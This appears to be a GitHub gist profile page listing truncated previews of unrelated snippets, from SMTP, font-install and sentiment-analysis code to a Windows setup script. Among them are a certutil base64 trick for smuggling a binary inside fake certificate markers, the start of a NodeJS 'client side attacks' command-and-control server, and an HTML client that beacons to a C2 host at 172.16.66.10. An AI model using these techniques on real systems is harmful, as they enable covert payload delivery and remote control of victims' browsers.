I hereby claim:
- I am AdamGreenhill on github.
- I am sentient (https://keybase.io/sentient) on keybase.
- I have a public key whose fingerprint is A771 ED84 414F 4AB4 8765 0087 71D2 9FB3 C190 541B
To claim this, I am signing this object:
| echo -----BEGIN CERTIFICATE----- > encoded.txt | |
| echo Just Base64 encode your binary data | |
| echo TVoAAA== >> encoded.txt | |
| echo -----END CERTIFICATE----- >> encoded.txt | |
| certutil -decode encoded.txt decoded.bin |
| #!/usr/bin/env python | |
| import smtplib | |
| class Gmail(object): | |
| def __init__(self, email, password): | |
| self.email = email | |
| self.password = password | |
| self.server = 'smtp.gmail.com' | |
| self.port = 587 | |
| session = smtplib.SMTP(self.server, self.port) |
| /* | |
| * Simple client side attacks NodeJS command and control server | |
| * | |
| */ | |
| var http = require('http'); | |
| var url = require('url'); | |
| var Buffer = require('buffer').Buffer; | |
| var commandQueue = []; | |
| var commandId = 0; |
| <iframe id="iframe" src=""></iframe> | |
| <img id="image" src=""></img> | |
| <script id="script" src=""></script> | |
| <script> | |
| var params = {server : {url : "http://172.16.66.10:8090/"}, threshold : 3000}; | |
| var iframeElement = document.getElementById("iframe"); | |
| var imageElement = document.getElementById("image"); | |
| var scriptElement = document.getElementById("script"); | |
| function loadResource(_cmdId,_data,_timing) { |
| DEST_DIR=~/.fonts/hack_typeface | |
| mkdir -p $DEST_DIR | |
| # Check if you have unzip, if not install | |
| which unzip >/dev/null || (echo "INFO: I need to install unzip"; sudo apt-get install unzip) | |
| # Download font | |
| wget --directory-prefix $DEST_DIR https://github.com/chrissimpkins/Hack/releases/download/v2.010/Hack-v2_010-otf.zip | |
| # Decompress | |
| unzip $DEST_DIR/Hack-*.zip -d $DEST_DIR | |
| # Clean zip file |
I hereby claim:
To claim this, I am signing this object:
| # You need to install scikit-learn: | |
| # sudo pip install scikit-learn | |
| # | |
| # Dataset: Polarity dataset v2.0 | |
| # http://www.cs.cornell.edu/people/pabo/movie-review-data/ | |
| # | |
| # Full discussion: | |
| # https://marcobonzanini.wordpress.com/2015/01/19/sentiment-analysis-with-python-and-scikit-learn |
| ########## | |
| # Win10 Initial Setup Script | |
| # Author: Disassembler <disassembler@dasm.cz> | |
| # Version: 1.7, 2016-08-15 | |
| # dasm's script: https://github.com/Disassembler0/Win10-Initial-Setup-Script/ | |
| # THIS IS A PERSONALIZED VERSION | |
| # This script leaves more MS defaults on, including MS security features. | |
| # Tweaked based on personal preferences for @alirobe 2016-11-16 - v1.7.1 |
| @ | |
| * | |
| 0 | |
| 00 | |
| 0-0 | |
| 000 | |
| 0000 | |
| 00000 | |
| 000000 |
| import os | |
| import SimpleHTTPServer | |
| from SimpleHTTPServer import SimpleHTTPRequestHandler | |
| class RangeHTTPRequestHandler(SimpleHTTPRequestHandler): | |
| """RangeHTTPRequestHandler is a SimpleHTTPRequestHandler | |
| with HTTP 'Range' support""" | |
| def send_head(self): | |
| """Common code for GET and HEAD commands. |